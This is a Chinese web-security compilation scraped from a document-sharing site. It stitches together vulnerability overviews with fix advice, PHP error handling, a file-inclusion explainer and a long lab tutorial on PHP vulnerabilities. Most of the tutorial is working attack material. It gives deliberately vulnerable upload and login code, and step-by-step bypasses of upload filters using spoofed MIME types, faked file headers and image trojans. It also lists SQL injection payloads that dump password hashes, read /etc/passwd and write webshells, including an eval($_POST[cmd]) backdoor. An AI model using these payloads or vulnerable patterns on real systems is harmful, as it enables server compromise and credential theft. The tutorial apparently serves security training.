PHP常见漏洞及解决方法
- 格式:ppt
- 大小:609.50 KB
- 文档页数:15
常见WEB安全漏洞及整改建议随着互联网的迅速发展,WEB应用程序的使用越来越广泛,但通过WEB应用程序进行的信息传输和交互也带来了一系列的安全隐患。
本文将介绍一些常见的WEB安全漏洞,并提供相关的整改建议,以帮助企业提高对WEB安全的保护。
一、跨站脚本攻击(XSS)跨站脚本攻击是一种利用WEB应用程序的漏洞,将恶意脚本注入到页面中,以获取用户信息或者执行其他恶意操作的攻击手段。
为了防止XSS攻击,以下是一些建议:1. 输入验证:对用户输入的数据进行严格的验证和过滤,防止恶意脚本的注入。
2. 输出编码:在将数据输出到页面时,采用正确的编码方式,确保用户输入的内容不会被当作HTML或者JavaScript代码进行解析。
3. Cookie(HttpOnly):将Cookie标记为HttpOnly,防止恶意脚本通过JavaScript进行读取。
二、跨站请求伪造(CSRF)跨站请求伪造是一种攻击者通过伪造合法用户的请求来执行非法操作的手段。
为了防止CSRF攻击,以下是一些建议:1. 验证来源:在WEB应用程序中添加验证机制,确认请求来源的合法性。
2. 添加Token:在每个表单或者URL中添加一个随机生成的Token,确保请求的合法性。
三、SQL注入攻击SQL注入攻击是一种通过WEB应用程序的输入字段注入恶意的SQL代码来获取或修改数据库中的数据的攻击手段。
为了防止SQL注入攻击,以下是一些建议:1. 输入验证:对用户输入的数据进行严格的验证和过滤,确保输入的数据是符合预期的格式。
2. 参数化查询:使用参数化查询或者存储过程来执行SQL查询,避免将用户输入直接拼接成SQL语句的方式。
四、文件上传漏洞文件上传漏洞是一种攻击者通过上传恶意文件来执行远程代码的手段。
为了防止文件上传漏洞,以下是一些建议:1. 文件类型验证:对文件进行类型检查,确保只允许上传合法的文件类型。
2. 文件名检查:检查文件名是否包含恶意代码,避免执行恶意代码。
PHP应用程序的错误处理方法1. 引言PHP是一种开发网站的编程语言,广泛用于构建应用程序和动态网站。
在开发任何应用程序时,出现错误是不可避免的。
因此,了解PHP应用程序的错误处理方法对于开发人员至关重要。
2. 错误处理方法在PHP中,可以使用以下方法处理应用程序中的错误。
2.1. 错误报告默认情况下,PHP会向客户端显示错误报告。
这些报告可以帮助开发人员识别和修复错误,但对于终端用户来说可能过于技术性。
可以使用以下方法关闭错误报告。
在PHP代码中,使用以下指令关闭错误报告:error_reporting(0);在PHP配置文件中,将error_reporting设置为0:error_reporting=02.2. 错误日志错误日志是记录PHP应用程序中的错误的文件。
通过错误日志,开发人员可以查看应用程序中的错误信息并进行排除。
在PHP代码中,可以使用以下指令将错误日志写入文件:ini_set('error_log', '/path/to/error.log');在PHP配置文件中,可以设置以下参数将错误日志写入文件:error_log = /path/to/error.log2.3. 异常处理异常是在运行时发生的错误。
使用异常处理可以在异常发生时执行特定操作。
在PHP中,可以使用以下语法抛出异常:throw new Exception('Error message');可以使用try-catch语句捕获和处理异常:try {// 代码块} catch (Exception $e) {echo 'Caught exception: ', $e->getMessage(), "\n";}2.4. 自定义错误处理方法可以使用set_error_handler()函数自定义PHP应用程序的错误处理程序。
通过自定义错误处理程序,可以在出现错误时采取特定操作。
PHP文件包含漏洞详解(1)一、什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
涉及到的危险函数:include(),require()和include_once(),require_once()Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
Require:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。
如果已经执行一遍那么就不重复执行了。
Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。
所以我就不重复了。
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。
Php4存在远程&本地,php5仅存在本地包含。
二、为什么要包含文件?程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。
在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:if ($_GET[page]) {include $_GET[page];} else {include ”home.php”;}很正常的一段PHP代码,它是怎么运作的呢?上面这段代码的使用格式可能是这样的:/m4r10/php/index.php?page=main.php或者/m4r10/php/index.php?page=downloads.php结合上面代码,简单说下怎么运作的:1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
相关名词解释、危害与整改建议1、网站暗链名词解释“暗链”就是看不见的网站链接,“暗链”在网站中的链接做的非常隐蔽,短时间内不易被搜索引擎察觉。
它和友情链接有相似之处,可以有效地提高PR值。
但要注意一点PR值是对单独页面,而不是整个网站。
危害:网站被恶意攻击者插入大量暗链,将会被搜索引擎惩罚,降低权重值;被插入大量恶意链接将会对网站访问者造成不良影响;将会协助恶意网站(可能为钓鱼网站、反动网站、赌博网站等)提高搜索引擎网站排名。
可被插入暗链的网页也意味着能被篡改页面内容。
整改建议:加强网站程序安全检测,及时修补网站漏洞;对网站代码进行一次全面检测,查看是否有其余恶意程序存在;建议重新安装服务器及程序源码,防止无法到检测深度隐藏的恶意程序,导致重新安装系统后攻击者仍可利用后门进入。
2、网页挂马名词解释网页挂马是通过在网页中嵌入恶意程序或链接,致使用户计算机在访问该页面时触发执行恶意脚本,从而在不知情的情况下跳转至“放马站点”(指存放恶意程序的网络地址,可以为域名,也可以直接使用IP 地址),下载并执行恶意程序.危害:利用IE浏览器漏洞,让IE在后台自动下载黑客放置在网站上的木马并运行(安装)这个木马,即这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始,从而实现控制访问者电脑或安装恶意软件的目的。
整改建议:加强网站程序安全检测,及时修补网站漏洞;对网站代码进行一次全面检测,查看是否有其余恶意程序存在;建议重新安装服务器及程序源码,防止有深度隐藏的恶意程序无法检测到,导致重新安装系统后攻击者仍可利用后门进入.3、SQL注入SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
危害:可能会查看、修改或删除数据库条目和表。
严重的注入漏洞还可能以当然数据库用户身份远程执行操作系统命令。
PHP常见漏洞代码总结漏洞总结PHP ⽂件上传漏洞只验证MIME类型: 代码中验证了上传的MIME类型,绕过⽅式使⽤Burp抓包,将上传的⼀句话⼩马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){// 判断 content-type 的类型,如果是image/png则通过if($_FILES['upload_file']['type'] == 'image/png'){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];if (move_uploaded_file($temp_file, $img_path))echo "上传完成.";elseecho "上传出错.";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单的绕过: ⽩名单就是允许上传某种类型的⽂件,该⽅式⽐较安全,抓包上传php后门,然后将⽂件名改为.jpg即可上传成功,但是有时候上传后的⽂件会失效⽆法拿到Shell.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$allow_ext = array(".jpg",".png",".jpeg");$file_name = trim($_FILES['upload_file']['name']); // 取出⽂件名$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = strtolower($file_ext); // 转换为⼩写$file_ext = trim($file_ext); // ⾸尾去空if(in_array($file_ext, $allow_ext)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path))echo "上传完成: {$img_path} <br>";elseecho "上传失败 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单验证⽂件头: 本关主要是允许jpg/png/gif这三种⽂件的传输,且代码中检测了⽂件头的2字节内容,我们只需要将⽂件的头两个字节修改为图⽚的格式就可以绕过.通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49以JPEG为例,我们在⼀句话⽊马的开头添加两个11也就是⼆进制的3131,然后将.php修改为.jpg,使⽤Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2);fclose($file);$strInfo = @unpack("C2chars", $bin);$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);$fileType = '';switch($typeCode){case 255216: $fileType = 'jpg'; break;case 13780: $fileType = 'png'; break;case 7173: $fileType = 'gif'; break;default: $fileType = 'unknown';}return $fileType;}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){echo "上传失败 <br>";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path))echo "上传完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>绕过检测⽂件头: 这种⽅式是通过⽂件头部起始位置进⾏匹配的从⽽判断是否上传,我们可以通过在上传⽂件前⾯追加合法的⽂件头进⾏绕过,例如在⽂件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在⽂件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$fh = fopen($filename, "rb");if($fh){$bytes = fread($fh,6);fclose($fh);if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){return "image/jpeg";}if($bytes == "\x89PNG\x0d\x0a"){return "image/png";}if($bytes == "GIF87a" or $bytes == "GIF89a"){return "image/gif";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>图像检测绕过: 通过使⽤图像函数,检测⽂件是否为图像,如需上传则需要保持图像的完整性,所以⽆法通过追加⽂件头的⽅式绕过,需要制作图⽚⽊马上传.针对这种上传⽅式的绕过我们可以将图⽚与FIG⽂件合并在⼀起copy /b pic.gif+shell.php 1.php上传即可绕过.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){// 检查是否为图像if(@getimagesize($filename)){if(@imagecreatefromgif($filename)){return "image/gif";}if(@imagecreatefrompng($filename)){return "image/png";}if(@imagecreatefromjpeg($filename)){return "image/jpeg";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>上传条件竞争: 这⾥是条件竞争,先将⽂件上传到服务器,然后判断⽂件后缀是否在⽩名单⾥,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利⽤burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext, $ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);echo "上传完成. <br>";}else{unlink($upload_file);echo "上传失败. <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>PHP 注⼊漏洞基本查询语句搭建SQL注⼊演练环境,⾸先确保MySQL版本为MySQL 5.7以上,并导⼊下⽅的数据库脚本⾃动创建相应的数据库⽂件. drop database if exists lyshark;create database lyshark;use lyshark;drop table if exists local_user;create table local_user(id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0);alert table local_user character set utf8;insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@"), (2,"lyshark",md5("adsdfw2345"),"lyshark@"),(3,"guest",md5("12345678"),"guest@"),(4,"Dumb",md5("458322456"),"Dumb@"),(5,"Angelina",md5("GIs92834"),"angelina@"),(6,"Dummy",md5("HIQWu28934"),"dummy@"),(7,"batman",md5("suw&*("),"batmain@"),(8,"dhakkan",md5("swui16834"),"dhakakan@"),(9,"nacki",md5("fsie92*("),"cbooks@"),(10,"wuhaxp",md5("sadwq"),"cookiec@"),(11,"cpiwu",md5("sadwq"),"myaccce@");接着安装好PHP7.0或以上版本的环境,并创建index.php⽂件,写⼊以下测试代码,数据库密码请⾃⾏修改.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query)$row = mysqli_fetch_array($query);}}><body><table border="1"><tr><th>序号</th><th>⽤户账号</th><th>⽤户密码</th><th>⽤户邮箱</th><th>权限</th></tr><tr><td><?php echo $row['id']; ?></td><td><?php echo $row['username']; ?></td><td><?php echo $row['password']; ?></td><td><?php echo $row['usremail']; ?></td><td><?php echo $row['usertype']; ?></td></tr></table><br><?php echo '<hr><b> 后端执⾏SQL语句: </b>' . $sql; ?></body></html>Union 查询字段个数: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union select的列与它查询的列相同时,页⾯返回正常.⾸先我们猜测,当前字段数为4的时候页⾯⽆返回,也就说明表字段数必然是⼤于4的,接着增加⼀个字段,查询1,2,3,4,5时页⾯显⽰正常,说明表结构是5个字段的.index.php?id=1' and 1=0 union select 1,2,3,4 --+index.php?id=1' and 1=0 union select 1,2,3,4,5 --+index.php?id=1' and 1=0 union select null,null,null,null,null --+Order By查询字段个数: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从⽽报错或⽆法正常显⽰.⾸先我们猜测数据库有6个字段,尝试根据第6⾏进⾏排序发现数据⽆法显⽰,说明是⼩于6的,我们继续使⽤5测试,此时返回了结果.index.php?id=1' and 1 order by 6 --+index.php?id=1' and 1 order by 5 --+⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,如果想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,或者通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1' and 0 union select null,null,null,null,null --+index.php?id=1' and 0 union select null,version(),null,null,null --+index.php?id=1' union select null,null,null,null,null limit 1,1 --+index.php?id=1' union select null,version(),null,null,null limit 1,1 --+查全部数据库名称: MySQL默认将所有表数据放⼊information_schema.schemata这个表中进⾏存储,我们可以查询这个表中的数据从⽽找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.index.php?id=1' and 0 union select 1,1,database(),1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+查询表中名称: 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.# 通过 limit 限定条件每次只输出⼀个表名称index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 1,1 --+# 通过 concat 函数⼀次性输出所有表index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)from information_schema.tables where table_schema='lyshark' --+查询表中字段: 通过使⽤table_schema和table_name指定查询条件,即可查询到表中字段与数据.# 查询出lyshark数据库local_user表中的,所有字段index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns> where table_schema='lyshark' and table_name='local_user' --+# 每次读取出⼀个表中字段,使⽤limit进⾏遍历index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 1,1 --+查询表中数据: 通过上⾯的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进⾏读取表中数据. index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 0,1--+index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 1,1--+index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from ers --+常⽤的查询语句: 除此以外,我们还可以使⽤以下常⽤判断条件的配合实现对数据库其他权限的进⼀步注⼊.# -----------------------------------------------------------------------------------# 判断注⼊点: 注⼊点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.index.php?id=1' and 1=1 --+ # 提交and判断注⼊index.php?id=1' and 1=0 --+index.php?id=1%2b1 # 提交加号判断注⼊index.php?id=2-1 # 提交减号判断注⼊index.php?id=1 and sleep(5) # 延时判断诸如点# -----------------------------------------------------------------------------------# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1' and ord(mid(user(),1,1)) = 114 --+# -----------------------------------------------------------------------------------# 判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.index.php?id=1' and(select count(*) from er) > 0# -----------------------------------------------------------------------------------# 查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1' and 0 union select 1,host,user,password,5 from er --+ // 5.6以前版本index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from er --+ // 5.7以后版本# -----------------------------------------------------------------------------------# 向主站写⼊⼀句话: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+# -----------------------------------------------------------------------------------# 利⽤MySQL引擎写⼀句话: 通过使⽤MySQL的存储引擎,以MySQL⾝份写⼊⼀句话create table shell(cmd text);insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');select cmd from shell into outfile('/var/www/html/eval.php');# -----------------------------------------------------------------------------------# 常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1' union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1' union select 1,1,@@basedir // 判断安装根路径index.php?id=1' union select 1,1,@@hostname // 判断主机名index.php?id=1' union select 1,1,@@version // 判断数据库版本index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1' union select 1,1,user() // 曝出系统⽤户index.php?id=1' union select 1,1,database() // 曝出当前数据库GET 注⼊简单的注⼊测试: 本关中没有对代码进⾏任何的过滤.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><?phpfunction getCurrentUrl(){$scheme = $_SERVER['REQUEST_SCHEME']; // 协议$domain = $_SERVER['HTTP_HOST']; // 域名$requestUri = $_SERVER['REQUEST_URI']; // 请求参数$currentUrl = $scheme . "://" . $domain . $requestUri;return urldecode($currentUrl);}><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select username,password from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<font size='5'>";echo "账号: {$row['username']} <br>";echo "密码: {$row['password']} <br>";echo "</font>";echo "后端执⾏语句: {$sql} <br>";$URL = getCurrentUrl();echo "后端URL参数: {$URL} <br>";}else{echo "后端执⾏语句: {$sql} <br>";print_r(mysql_error());}}}}></body></html>SQL语句没有经过任何过滤,或者是过滤不严格,会导致注⼊的发⽣.---------------------------------------------------------------------------------$sql = "select username,password from local_user where id=$id limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1) union select 1,version() --+http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+---------------------------------------------------------------------------------$sql = "select username,password from local_user where id='$id' limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=('$id') limit 0,1";http://127.0.0.1/index.php?id=-1') union select 1,version() --+http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+$sql = "select username,password from local_user where id=(('$id')) limit 0,1";http://127.0.0.1/index.php?id=-1')) union select 1,version() --+---------------------------------------------------------------------------------$id = '"' . $id . "'";$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1") union select 1,version() --+http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+POST 输⼊框注⼊:<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="提交表单" /></form><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);if(isset($_POST['uname']) && isset($_POST['passwd'])){$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "后端执⾏语句: {$sql} <br>";}else{echo "<br>后端执⾏语句: {$sql} <br>";}}}}></body></html>简单的进⾏查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤⼦了.# ---------------------------------------------------------------------------------------------------------# SQL语句$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";# ---------------------------------------------------------------------------------------------------------# 爆出字段数admin' order by 1 #admin' order by 2 --admin' and 1 union select 1,2,3 #admin' and 1 union select 1,2 ## 爆出数据库admin ' and 0 union select null,database() #admin' and 0 union select 1,version() ## 爆出所有表名称(需要注意数据库编码格式)set character_set_database=utf8;set collation_database= utf8_general_cialter table local_user convert to character set utf8;' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 ## 爆出表中字段' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 ## 继续爆出所有的⽤户名密码' union select null,group_concat(username,0x3a,password) from local_user ## ---------------------------------------------------------------------------------------------------------# 双注⼊-字符型# 此类注⼊很简单,只需要闭合前⾯的")⽽后⾯则使⽤#注释掉即可$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";#payloadadmin") order by 2 #admin") and 0 union select 1,version() #admin") and 0 union select 1,database() ## ---------------------------------------------------------------------------------------------------------# POST型的-双注⼊#$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";admin" and 0 union select 1,version() #Usage-Agent 注⼊: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带⼊数据库的相关操作,则可能会产⽣SQL注⼊问题.建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){// 获取到⽤户的Agent客户请求体$Uagent = $_SERVER['HTTP_USER_AGENT'];// REMOTE_ADDR 是调⽤的底层的会话ip地址,理论上是不可以伪造的$IP = $_SERVER['REMOTE_ADDR'];echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "您的IP地址是: {$IP} <br>";$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";mysqli_query($connect,$insert_sql);echo "User_Agent请求头: {$Uagent} <br>";}}}}></body></html>⾸先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带⼊数据库查询.POST /post.php HTTP/1.1Host: 192.168.1.2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8uname=admin&passwd=123123&submit=Submit修改agent验证,可被绕过,此处的语句带⼊数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地⽅即使存在注⼊也⽆法得到结果,但却是⼀个安全隐患,需要引起重视.User-Agent: 1',1,1)#uname=admin&passwd=123123&submit=SubmitUser-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#uname=admin&passwd=123123&submit=SubmitCookie 注⼊: 该注⼊的产⽣原因是因为程序员没有将COOKIE进⾏合法化检测,并将其代⼊到了数据库中查询了且查询变量是可控的,当⽤户登录成功后会产⽣COOKIE,每次页⾯刷新后端都会拿着这个COOKIE带⼊数据库查找,这是⾮常危险的.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input type="text" name="uname" value=""/><br>密码: <input type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$cookee = $_COOKIE['uname'];if($cookee){$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";$query = mysqli_query($connect,$sql);echo "执⾏SQL: " . $sql . "<br>";if($query){$row = mysqli_fetch_array($query);。
PHP反序列化漏洞详解(魔术⽅法)⽂章⽬录⼀、PHP⾯向对象编程在⾯向对象的程序设计(Object-oriented programming,OOP)中,对象是⼀个由信息及对信息进⾏处理的描述所组成的整体,是对现实世界的抽象。
类是⼀个共享相同结构和⾏为的对象的集合。
每个类的定义都以关键字class开头,后⾯跟着类的名字。
